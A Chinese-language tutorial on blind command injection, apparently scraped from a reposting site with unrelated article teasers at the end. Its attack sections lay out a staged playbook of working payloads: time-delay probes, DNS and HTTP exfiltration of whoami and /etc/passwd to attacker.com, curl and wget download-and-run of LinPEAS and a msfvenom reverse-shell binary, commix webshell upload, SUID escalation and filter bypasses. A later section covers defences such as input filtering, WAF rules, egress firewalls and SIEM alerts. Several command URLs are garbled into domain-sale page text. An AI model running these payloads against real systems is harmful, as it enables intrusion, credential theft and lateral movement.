盲注命令執行(Blind Command Execution)

一、核心原理

1. 無回顯命令執行的本質

盲命令執行(Blind Command Execution)是一種攻擊形式,攻擊者通過注入系統命令到Web應用或后端系統中,但無法直接獲取命令執行結果。盲命令執行的本質在于攻擊者無法直接看到執行結果(如標準輸出),因此需要依賴間接反饋機制(Side-Channel Techniques)來驗證命令是否成功執行。反饋信號包括但不限于頁面加載時間、HTTP響應狀態碼、系統行為等。

盲命令執行通常發生在應用將用戶輸入直接拼接至系統命令時,尤其是在用戶輸入沒有經過充分的過濾或轉義的情況下。攻擊者通過這種漏洞,注入惡意命令,但因為系統未返回執行結果,攻擊者只能通過旁路手段(如延遲、外部請求等)來間接推斷命令是否成功。

2. 關鍵特征

  • 無直接輸出:命令執行結果不會直接顯示給用戶。
  • 依賴間接信號:攻擊者必須依賴系統的間接反饋來推測命令執行的結果,常見的間接反饋信號包括頁面加載時間延遲、系統資源狀態變化(如文件的創建、修改)以及網絡請求行為等。
  • 分階段攻擊:攻擊者通常需要多次嘗試,通過構造不同的Payload,逐步獲得敏感信息或提升系統權限。

二、技術實現與攻擊手法

1. 基于時間延遲(Time-Based)

原理:通過注入引發系統延遲的命令,攻擊者可以根據響應時間的變化來判斷命令是否執行成功。

  • 典型Payload
    • Linux:; sleep 10 或 && ping -c 5 127.0.0.1
    • Windows:| timeout 10 或 & ping -n 5 127.0.0.1

利用場景:若目標頁面的響應時間顯著增加(如延遲10秒),則可以確認命令注入成功。通過不同的延遲時間,攻擊者還可以區分不同的命令執行結果。

技術擴展

  • 條件化延遲:結合布爾邏輯,攻擊者可以在滿足特定條件時引入延遲。例如,檢測文件是否存在后再延遲執行:
    ; if [ -f /etc/passwd ]; then sleep 5; fi

2. 外帶數據(Out-of-Band,OOB)

原理:強制目標機器向攻擊者控制的外部服務器發起請求,將命令的結果外帶,從而使攻擊者能夠獲取命令輸出。

  • DNS外帶(隱蔽性高)
    • Linux:; nslookup $(whoami).attacker.com
    • Windows:| nslookup %USERNAME%.attacker.com

利用場景:攻擊者可以監控DNS請求日志,通過外部DNS服務器獲得目標機的敏感數據。例如,獲取用戶名信息或其他系統數據。

  • HTTP請求:通過向攻擊者控制的服務器發送HTTP請求,將命令結果外帶。例如,使用curl或wget發送數據:
    ; curl Attacker - The Domain Name Attacker.com is Now For Sale. / | base64)
  • SMB/UNC路徑(Windows特有):利用Windows系統自動解析UNC路徑的特性,觸發目標系統向攻擊者服務器發送網絡請求。
    | dir \\attacker.com\share

3. 文件寫入與讀取

原理:將命令結果寫入文件,再通過其他手段讀取該文件,進而獲取命令執行結果。

  • 典型步驟
    • 寫入文件:將命令輸出寫入目標文件,如:
      ; ls / > /var/www/html/result.txt
    • 訪問文件:通過Web請求讀取該文件內容:
      http://target.com/result.txt

高級技巧

  • 分塊寫入:受命令長度限制時,攻擊者可以通過追加寫入將數據分成多個塊保存。
  • 編碼繞過:通過對敏感字符進行Base64或十六進制編碼來繞過輸入過濾。例如,編碼斜杠(/)或空格字符。

4. 布爾型盲注(Boolean-Based)

原理:通過條件語句來判斷系統中某些特定條件是否成立,從而引發頁面的不同響應,攻擊者根據響應差異來判斷命令執行結果。

  • 示例
    ; if [ -f /etc/passwd ]; then true; else false; fi

利用場景:如果目標文件存在,返回的響應為正常;若文件不存在,則可能返回錯誤狀態碼或頁面內容差異,攻擊者可以通過這種差異來推斷目標文件的存在與否。

5. 編碼與過濾繞過

常見繞過技術

  • 特殊字符分割:使用%0a(換行符)、%0d(回車符)、$()或反引號分隔命令,繞過過濾。
    cmd=invalid%0a whoami
  • 編碼混淆
    • Base64:將命令用Base64編碼,然后解碼執行。
      echo "whoami" | base64 -d | bash
    • 十六進制:通過十六進制字符來表示命令內容。
      echo "77686F616D69" | xxd -r -p | bash

三、攻擊流程與工具

盲命令執行的攻擊流程需要結合技術手段與工具,分階段驗證漏洞、提取信息并擴大攻擊面。以下從攻擊流程的每個環節及配套工具展開詳細說明。

1. 攻擊流程詳解

階段一:檢測注入點

目標:確認目標是否存在命令注入漏洞,并判斷是否為盲注類型。

核心方法

  • 基礎Payload測試
    輸入簡單命令分隔符(如
    ;&|)并觀察響應差異。例如:
    http://target.com/api?input=test;id
    若返回錯誤(如500狀態碼),可能說明命令執行失敗,但仍需進一步驗證是否為盲注。
  • 時間延遲驗證
    注入導致延時的命令,觀察響應時間是否顯著增加:
  • Linux
    http://target.com/api?input=test%3B+sleep+10+%23? # URL編碼后的; sleep 10 #
  • Windows
    http://target.com/api?input=test%26+timeout+10??? # & timeout 10
    判斷依據:若頁面響應時間增加約10秒,則存在盲注漏洞。

工具輔助

  • Burp Suite Intruder
    使用
    timeoutsleep的變體(如5秒、15秒)批量發送請求,通過響應時間排序快速識別成功Payload。
  • 配置示例
    • 攻擊類型:Pitchfork(多參數組合)。
    • Payload:時間參數(5, 10, 15)與命令分隔符(;%0a|)。
  • 手動技巧
    • 結合錯誤回顯:若目標偶爾返回錯誤信息(如sh: sleep: not found),可推斷系統環境。
    • 使用無害命令:優先測試pingsleep,避免觸發防御機制(如WAF攔截rm -rf)。

?

階段二:確定操作系統與命令環境

目標:識別目標系統類型(Linux/Windows)及可用命令(如是否支持curlnslookup

差異化命令測試

  • Linux特征命令
    ; ls /tmp??????
    # 測試目錄是否存在
    ; which python? # 檢查解釋器路徑
  • Windows特征命令
    | dir C:\Windows?
    | where cmd.exe?

環境變量探測

  • Linux; echo $PATH
  • Windows| echo %PATH%

工具輔助

  • Commix
    自動化識別操作系統并適配Payload:
    commix -u "
    http://target.com/api?input=test" --os-cmd=unix
  • 參數說明
    • --os-cmd:指定系統類型(unixwindows)。
    • --force-os:強制指定系統(適用于模糊場景)。

?

階段三:分階段提取數據

目標:通過盲注逐字節提取敏感信息(如配置文件、用戶憑證)。

子階段1:單字符提取(Boolean-Based)

原理:通過條件判斷逐字符獲取數據。例如,判斷文件某字符是否為特定值。

示例(讀取/etc/passwd首字符)

# 判斷首字符是否為 'r'
; if [ $(cut -c1 /etc/passwd) = "r" ]; then sleep 5; fi

若響應延遲5秒,則首字符為r(即root用戶標識)。

自動化工具

  • SQLMap(時間盲注模式)
    雖然SQLMap主要用于SQL注入,但其時間盲注邏輯可適配命令注入場景:
    sqlmap -u "
    http://target.com/api?input=test*" --technique=T --delay=5 --prefix="%3B" --suffix="%23" --string="success"?
  • 參數解析
    • --technique=T:時間盲注技術。
    • --prefix/--suffix:注入點前綴(;)和后綴(#注釋符)。

子階段2:批量外帶數據(OOB)

適用場景:需要快速獲取大量數據(如文件內容)。

DNS外帶(Linux示例)
; for i in $(cat /etc/passwd | base64 | fold -w10); do nslookup $i.attacker.com; done

步驟解析

  1. /etc/passwd內容Base64編碼并按每10字符分塊。
  2. 通過DNS查詢將每塊數據發送到攻擊者控制的域名(attacker.com)。
  3. 攻擊者從DNS日志拼接并解碼數據。

工具輔助

DNSLog平臺(如ceye.io)

  • 注冊賬號并獲取子域名(如xxx.ceye.io)。
  • 注入Payload:
    ; nslookup $(whoami).xxx.ceye.io
  • 在平臺查看DNS查詢記錄,提取whoami結果。

?

階段四:橫向滲透與權限提升

目標:利用已獲取的權限攻擊內網其他系統或提權至更高賬戶。

子階段1:內網掃描

  • 存活主機探測
    ; for i in {1..254}; do ping -c1 192.168.1.$i; done
  • 優化技巧:將結果寫入文件并通過HTTP外帶:
    ; for i in {1..254}; do ping -c1 192.168.1.$i && echo "192.168.1.$i" >> /tmp/ips.txt; done?
    ; curl -X POST -d @/tmp/ips.txt
    Attacker - The Domain Name Attacker.com is Now For Sale.

子階段2:權限提升(Linux)

常見漏洞利用

  • SUID提權:查找具有SUID權限的可執行文件:
    ; find / -perm -4000 2>/dev/null
  • 若發現/usr/bin/find,使用以下命令提權:
    ; find . -exec /bin/sh -p \; -quit

工具輔助

  • LinPEAS:自動化Linux提權腳本,通過盲注下載并執行:
    ; curl
    Attacker - The Domain Name Attacker.com is Now For Sale. | sh
  • 盲注適配:若目標無外連權限,需分塊傳輸腳本并手動拼接。

?

2. 關鍵工具詳解

工具1:Burp Collaborator

用途:自動化檢測OOB漏洞,無需自建服務器。

操作流程

  1. 生成Collaborator域名
  • 在Burp Suite中點擊?Burp?→?Collaborator client?→?Copy to clipboard
  1. 注入Payload
    ; nslookup $(whoami).XXXXXXX.burpcollaborator.net
  2. 查看結果
  • 返回Burp Collaborator界面,點擊?Poll?查看DNS或HTTP請求記錄。

優勢

  • 無需配置公網服務器,適合快速測試。
  • 支持多種協議(DNS、HTTP、SMTP)。

工具2:Commix

定位:自動化命令注入利用框架,支持盲注與OOB。

核心命令

commix -u "http://target.com/vuln.php?id=1" --os=linux --technique=T --time-sec=10

  • 參數說明
    • --os:指定目標系統。
    • --technique:選擇注入技術(T=時間盲注,O=OOB)。
    • --time-sec:延遲時間(用于時間盲注)。

高級功能

  • 文件上傳:利用命令注入上傳Webshell:
    commix --file-upload="/local/path/shell.php" --file-dest="/var/www/html/"
  • 交互式Shell:通過注入建立反向Shell:
    commix --reverse-shell=10.0.0.1:4444

工具3:Metasploit

場景:生成定制化Payload并自動化利用盲注漏洞。

操作示例

  1. 生成反向Shell Payload
    msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf > shell.elf
  2. 注入下載命令
    ; wget
    Attacker - The Domain Name Attacker.com is Now For Sale. -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell
  3. Metasploit監聽
    use exploit/multi/handler?
    set PAYLOAD linux/x64/shell_reverse_tcp?
    set LHOST 10.0.0.1?
    run

工具4:tcpdump(用于OOB流量分析)

用途:在攻擊者服務器上抓取外帶數據包。

示例(監控DNS請求)

tcpdump -i eth0 'udp port 53' -vv | grep "attacker.com"

輸出解析

  • 若捕獲到查詢admin.attacker.com,說明whoami結果為admin

?

3. 攻擊流程中的對抗與繞過

繞過過濾規則

  • 案例1:空格過濾
    繞過方法
    :使用${IFS}(Linux)或%09(Tab的URL編碼)代替空格:
    ; cat${IFS}/etc/passwd
  • 案例2:關鍵詞黑名單(如cat
    繞過方法
    :使用tacmore或反斜杠分割:
    ; t\ac /etc/passwd

應對無外連場景

  • 方法1:HTTP分塊傳輸
    將數據分塊寫入Web目錄,再通過爬蟲拼接:
    ; for i in $(seq 1 10); do cat /etc/passwd | cut -c$((i*10-9))-$((i*10)) > /var/www/html/chunk$i; done
    攻擊者依次訪問
    chunk1chunk10合并數據。
  • 方法2:ICMP隧道
    使用工具(如ptunnel)通過Ping包外帶數據:
    ; ./ptunnel -x "echo $(whoami) | xxd -p" -d attacker.com

?

4. 攻擊流程總結圖

檢測注入點 → 確定OS/環境 → 分階段提取數據 → 橫向滲透/提權?
?? │??????????? ????????│??????????????? ????????????│?????????????????? ??????│?
?? ├─時間延遲??? ├─命令差異化測試? ├─布爾盲注???????? ├─內網掃描?
?? ├─錯誤回顯??? ├─環境變量探測??? ??├─OOB外帶?????? ?├─漏洞利用?
?? └─工具輔助??? └─工具識別??????? ????└─文件操作???????? ?└─持久化?

通過以上流程與工具的組合,攻擊者可在無回顯場景下高效利用盲命令執行漏洞。防御方需結合輸入過濾、行為監控與網絡隔離,形成多層防護體系。

四、防御策略

盲命令執行的防御需從代碼安全、系統權限、網絡架構、監控響應四個層面構建縱深防御體系。以下從技術實現、工具集成、最佳實踐三個維度展開說明。

1. 輸入過濾與白名單

(1)危險字符過濾

  • 核心原則:禁止命令分隔符與特殊符號,而非僅依賴黑名單。
  • 過濾策略
  • 正則表達式過濾
    # 示例:過濾Linux/Windows常見命令分隔符
    import re
    dangerous_pattern = re.compile(r'[;&|$()`\n\r\t{}]')?
    if dangerous_pattern.search(user_input):?
    ??? raise ValidationError("非法字符!")?
  • 編碼規范化
    對輸入進行URL解碼(如
    %0a→換行符)、Unicode解碼后再過濾,防止編碼繞過。
  • 繞過對抗案例
  • 反斜杠分割繞過l\s?→?ls?→ 過濾ls但未過濾l\s
    防御方案:在過濾前標準化輸入,合并連續轉義符。
  • 環境變量注入${PATH:0:1}?→ 可能返回/
    防御方案:禁用$符號或限制變量展開功能。

(2)白名單驗證

  • 適用場景:輸入內容需符合嚴格格式(如數字ID、郵箱、固定路徑)。
  • 實現示例
    // 僅允許數字和字母
    if (!userInput.matches("^[a-zA-Z0-9]+$")) {?
    ??? throw new IllegalArgumentException("非法輸入!");?
    }
  • 動態白名單技術
    使用機器學習模型(如正則表達式生成庫
    regen)動態識別合法輸入模式,適應業務變化。
  • 工具集成
  • ModSecurity(WAF):通過規則集(如OWASP CRS)攔截危險字符。
    示例規則:
    SecRule ARGS "@rx [;|&`]" "id:1001,deny,status:400,msg:'命令注入攻擊'"

?

2. 安全API使用

(1)避免直接調用系統命令

  • 替代方案
  • 編程語言內置函數
  • PHP:使用escapeshellarg轉義參數,而非直接拼接命令。
    $safe_input = escapeshellarg($_GET['input']);?
    system("ls " . $safe_input);?
    // 輸入含空格或引號時仍安全
  • Python:優先使用subprocess.run的列表形式傳參。
    import subprocess?
    subprocess.run(['ls', user_input], shell=False)?
    # 禁止shell=True
  • 高危函數禁用
    在代碼審查中標記以下函數:
  • PHPsystem(),?exec(),?passthru(),?shell_exec().
  • Pythonos.system(),?os.popen().
  • JavaRuntime.getRuntime().exec().

(2)參數化執行

  • 設計模式
    將用戶輸入作為參數傳遞給固定命令模板,而非動態拼接。

    正確示例
    # 只允許查詢固定目錄
    allowed_dirs = {"log", "config"}?
    if dir_name not in allowed_dirs:?
    ??? abort(403)?
    subprocess.run(["ls", f"/var/{dir_name}"])?
  • 沙箱環境
    使用容器(如Docker)或虛擬機運行高風險命令,限制逃逸影響。
    FROM alpine?
    COPY read_only_script.sh /script/?
    RUN chmod 500 /script/read_only_script.sh?
    USER nobody?

?

3. 權限最小化

(1)服務賬戶降權

  • Linux實踐
  • 創建專用低權限用戶:
    useradd -r -s /bin/false appuser?
    chown -R appuser:appuser /var/www?
  • Capability限制
    移除非必要權限(如
    CAP_NET_RAW禁用ping):
    setcap -r /path/to/binary?
  • Windows實踐
  • 使用“服務賬戶”運行IIS或應用程序,移除Administrators組權限。
  • 配置組策略(GPO):限制命令解釋器(cmd.exe、PowerShell)的執行權限。

(2)文件系統隔離

  • 目錄權限控制
  • Linux
    chmod 755 /var/www/html???
    # Web目錄禁止執行權限?
    chattr +i /etc/passwd????? # 關鍵文件設置為不可修改?
  • Windows
    使用ACL禁止IIS用戶寫入系統目錄(如
    C:\Windows\System32)。
  • 高級防護
  • SELinux/AppArmor(Linux)
    限制進程的文件訪問范圍(如僅允許讀取Web日志)。

    # AppArmor配置文件示例?
    /usr/bin/nginx {?
    ? /var/log/nginx/* rw,?
    ? deny /etc/passwd,?
    }?
  • 文件完整性監控(FIM)
    使用工具(如Tripwire、OSSEC)檢測敏感文件篡改。

?

4. 網絡防護

(1)限制外連訪問

  • 防火墻規則(Linux iptables示例)
    # 僅允許HTTP/HTTPS出站?
    iptables -A OUTPUT -p tcp --dport 80 -j ALLOW?
    iptables -A OUTPUT -p tcp --dport 443 -j ALLOW?
    iptables -A OUTPUT -j DROP???
    # 默認禁止其他出站連接?
  • 應用層限制
  • 禁用危險命令的外連功能(如curlwget):
    # 通過文件權限限制?
    chmod 700 /usr/bin/curl?
    chown root:root /usr/bin/curl?

(2)日志監控與異常檢測

  • 關鍵日志源
  • 系統命令審計(Linux auditd)
    auditctl -a always,exit -F arch=b64 -S execve??
    # 記錄所有命令執行?
  • DNS查詢日志:監控異常域名請求(如隨機子域名)。
  • SIEM集成
    使用ELK、Splunk等平臺聚合日志,設置告警規則:

    // 示例:5分鐘內超過10次DNS外連請求?
    event_type = "dns_query" AND domain LIKE "%.attacker.com"?
    | stats count by src_ip?
    | where count > 10?
  • 威脅情報聯動
    集成威脅情報平臺(如MISP),自動攔截已知惡意域名請求。

(3)網絡架構隔離

  • 分段設計
  • DMZ區:部署對外服務,禁止DMZ服務器訪問內網。
  • 管理網絡:通過跳板機(Bastion Host)訪問關鍵系統,啟用雙因素認證(2FA)。
  • 微隔離(Micro-Segmentation)
    使用軟件定義網絡(SDN)或云安全組,限制服務間通信僅開放必要端口。

?

5. 縱深防御補充措施

(1)運行時防護

  • RASP(Runtime Application Self-Protection)
    在應用運行時檢測命令注入行為(如Java Agent攔截
    ProcessBuilder調用)。
  • 工具:OpenRASP、ModSecurity嵌入式模塊。

(2)漏洞緩解(零日防護)

  • 操作系統級防護
  • Linux Seccomp:限制進程可用的系統調用。
    # 僅允許read/write/open等必要syscall?
    seccomp_profile = { ... }?
  • Windows Defender ATP:實時檢測惡意進程鏈。

(3)應急響應

  • 攻擊阻斷
    • 自動隔離可疑IP(與防火墻聯動)。
    • 強制重啟服務或容器實例。
  • 取證分析
    保留進程內存快照、網絡抓包數據(
    tcpdump),用于事后溯源。

?

6. 防御體系全景圖

輸入過濾 → 安全API → 權限控制 → 網絡隔離 → 日志監控?
?? │????????? │?????????? │???????????? │??????????? │?
?? ├─正則匹配?? ├─沙箱隔離??? ├─文件權限????? ├─防火墻規則??? ├─SIEM告警?
?? ├─編碼處理?? ├─參數化執行?? ├─SELinux????? ├─微隔離??????? ├─威脅情報?
?? └─WAF?????? └─禁用危險函數? └─低權賬戶????? └─DNS過濾?????? └─RASP?

通過以上策略的組合應用,可大幅提升盲命令執行的攻擊成本。防御方需持續更新規則、模擬攻擊測試(如紅隊演練),并建立自動化響應機制,形成閉環防護。

五、案例分析與實戰技巧

案例1:通過時間延遲探測文件存在性

場景:目標Web應用存在命令注入漏洞,但無回顯。

攻擊步驟

  1. 注入Payload:http://target.com/api?cmd=ping%20-c%205%20127.0.0.1
  2. 觀察響應時間,若延遲5秒,則確認漏洞存在。

逐字符讀取文件

; if [ $(cut -c1 /etc/passwd) = "r" ]; then sleep 5; fi

通過多次嘗試判斷文件首字符是否為r(root用戶標識)。

案例2:利用DNS外帶竊取數據

場景:目標服務器無法直接外連HTTP,但允許DNS查詢。

攻擊步驟

  1. 注入Payload:; nslookup $(cat /etc/passwd | base64).attacker.com
  2. 監控DNS日志,獲取Base64編碼的/etc

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/78355.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/78355.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/78355.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Linux多線程技術

什么是線程 在一個程序里的多執行路線就是線程。線程是進程中的最小執行單元,可理解為 “進程內的一條執行流水線”。 進程和線程的區別 進程是資源分配的基本單位,線程是CPU調度的基本單位。 fork創建出一個新的進程,會創建出一個新的拷貝&…

計算機組成原理實驗(1) 算術邏輯運算單元實驗

實驗一 算術邏輯運算單元實驗 一、實驗目的 1、掌握簡單運算器的數據傳輸方式 2、掌握74LS181的功能和應用 二、實驗內容 1、不帶進位位邏輯或運算實驗 2、不帶進位位加法運算實驗 3、實驗指導書2.15實驗思考 三、實驗步驟和結果 實驗內容一:不帶進位…

Android將啟動畫面實現遷移到 Android 12 及更高版本

如果在 Android 11 或更低版本中實現自定義啟動畫面,請遷移應用遷移到 SplashScreen API 以獲取幫助 確保其在 Android 12 及更高版本中正確顯示。 從 Android 12 開始,在所有應用的冷啟動和溫啟動期間,系統都會應用 Android 系統的默認啟動…

692. 前K個高頻單詞(map的練習)

目錄 1、題目分析 2.解題思路 3.代碼實現 4.總結 1、題目分析 2.解題思路 首先它給出我們一個string,讓我們提取出它們中出現次數最多的。利用map將word一個一個存入其中,沒有就插入,有了就1,這樣我們就得到了key_value&#…

如何創建極狐GitLab 議題?

極狐GitLab 是 GitLab 在中國的發行版,關于中文參考文檔和資料有: 極狐GitLab 中文文檔極狐GitLab 中文論壇極狐GitLab 官網 創建議題 (BASIC ALL) 創建議題時,系統會提示您輸入議題的字段。 如果您知道要分配給議題的值,則可…

day32 學習筆記

文章目錄 前言一、霍夫變換二、標準霍夫變換三、統計概率霍夫變換四、霍夫圓變換 前言 通過今天的學習,我掌握了霍夫變換的基本原本原理及其在OpenCV中的應用方法 一、霍夫變換 霍夫變換是圖像處理中的常用技術,主要用于檢測圖像中的直線,圓…

圖解YOLO(You Only Look Once)目標檢測(v1-v5)

1. YOLO系列整體介紹 YOLO屬于深度學習經典檢測方法中的單階段(one - stage)類型,與兩階段(two - stage,如Faster - rcnn、Mask - Rcnn系列)方法相對。 不同模型性能 單階段方法的最核心優勢是速度非常快…

C# 類型、存儲和變量(靜態類型和dynamic關鍵字、可空類型)

本章內容 C#程序是一組類型聲明 類型是一種模板 實例化類型 數據成員和函數成員 預定義類型 用戶定義類型 棧和堆 值類型和引用類型 變量 靜態類型和dynamic關鍵字 可空類型 靜態類型和dynamic關鍵字 你可能巳經注意到了,每一個變量都包括變量類型。這樣編譯器就可…

信奧賽之c++基礎(初識循環嵌套與ASCII密碼本)

?? 游樂園編程奇遇記——循環嵌套與ASCII密碼本 ?? 第一章:摩天輪與旋轉木馬——循環嵌套 ?? 游樂場里的雙重循環 for(int 排數=1; 排數<=3; 排數++){// 外層循環像摩天輪for(int 座位=1; 座位<=5; 座位++){// 內層循環像旋轉木馬cout << "??"…

Spine 動畫教程:皮膚制作

一、前言 擱了很久的抖音直播小玩法開發&#xff0c;最近又讓我想起來了。由于是初次嘗試&#xff0c;所以我將開發費用的預算降到為零。不但不買服務器采用 UnitySDK 的指令直推&#xff0c;而且游戲的資產也用 AI 生成&#xff0c;主打省時又省錢。 但是圖片有了&#xff0…

論文閱讀筆記——π0.5: a Vision-Language-Action Model with Open-World Generalization

π0.5 論文 通過異構數據協同訓練與分層推理&#xff0c;用中等規模的目標數據&#xff08;400小時&#xff09;實現了大規模泛化能力&#xff0c;為現實世界機器人學習提供了新范式。 高層推理(high-level) 根據當前觀測和任務指令預測子任務&#xff08;如“打開抽屜”&…

記錄搭建自己應用中心

記錄搭建自己應用中心 應用架構主應用-管理中心系統文件系統子應用 日志系統日志系統前端日志系統后端 用戶系統接入使用暫未完成 研發管理需求面板消息推送任務分配應用發布 應用架構 一直想做個試試&#xff0c;這是一個簡易版的&#xff0c;主要是整合下知識的&#xff0c;…

【網工第6版】第5章 網絡互聯⑦

目錄 ▲ 路由協議OSPF ◎ OSPF簡介 ◎ OSPF特點 本章重要程度&#xff1a;☆☆☆☆☆ ▲ 路由協議OSPF ◎ OSPF簡介 OSPF(Open Shortest Path First,開放式最短路徑優先協議)是目前應用最廣泛的路由協議。 OSPF是一種內部網關協議IGP&#xff0c;也是鏈路狀態路由協議&am…

5.3 Dify:低代碼平臺,適用于企業快速部署合規AI應用

Dify作為一款開源低代碼平臺&#xff0c;已成為企業快速構建和部署合規AI應用的首選工具。Dify通過整合后端即服務&#xff08;Backend-as-a-Service, BaaS&#xff09;、大型語言模型操作&#xff08;LLMOps&#xff09;以及直觀的視覺化界面&#xff0c;顯著降低了AI應用開發…

AI 編程工具:Augment Code

Meet Augment Agent: Your AI pair programmer that deeply understands your codebase, and learns as you work Augment 是開發人員AI平臺&#xff0c;它可以幫助您理解代碼、調試問題&#xff0c;并更快地發布&#xff0c;因為它了解您的代碼庫。使用聊天、Next Edit和Augme…

vc++ 如何調用poco庫

1. 下載并安裝 Poco 庫 你可以從 Poco 的官方網站&#xff08;POCO C Libraries - Simplify C Development &#xff09;下載其源代碼壓縮包。下載完成后&#xff0c;按照下面的步驟進行編譯和安裝&#xff1a; 解壓源代碼&#xff1a;把下載的壓縮包解壓到指定目錄。配置編譯…

淺談OpenAIClaude LLM Tools的額外配置

前言 https://platform.openai.com/docs/guides/function-calling?api-modechat&strict-modedisabled#additional-configurationshttps://docs.anthropic.com/en/docs/build-with-claude/tool-use/overview#forcing-tool-use tool_choice “none” 就是不用tools&#x…

SystemWeaver詳解:從入門到精通的深度實戰指南

SystemWeaver詳解&#xff1a;從入門到精通的深度實戰指南 文章目錄 SystemWeaver詳解&#xff1a;從入門到精通的深度實戰指南一、SystemWeaver環境搭建與基礎配置1.1 多平臺安裝全流程 二、新手必學的十大核心操作2.1 項目創建全流程2.2 建模工具箱深度解析 三、需求工程與系…

力扣DAY68 | 熱100 | 尋找兩個正序數組的中位數

前言 困難 ○ 這題搞了3天實在太難了&#xff0c;本質就是每次排除k/2個數&#xff0c;直到找到第k個數。 題目 給定兩個大小分別為 m 和 n 的正序&#xff08;從小到大&#xff09;數組 nums1 和 nums2。請你找出并返回這兩個正序數組的 中位數 。 算法的時間復雜度應該為…

Linux常見故障:排查思路與錯誤分析指南

引言 當Linux系統"生病"時&#xff0c;它不會說話但卻會通過各種癥狀"求救"&#x1f198;&#xff01;本文將帶你建立系統化的故障排查思維&#xff0c;從磁盤到內存&#xff0c;從網絡到服務&#xff0c;全方位掌握Linux系統的"把脈問診"技巧。…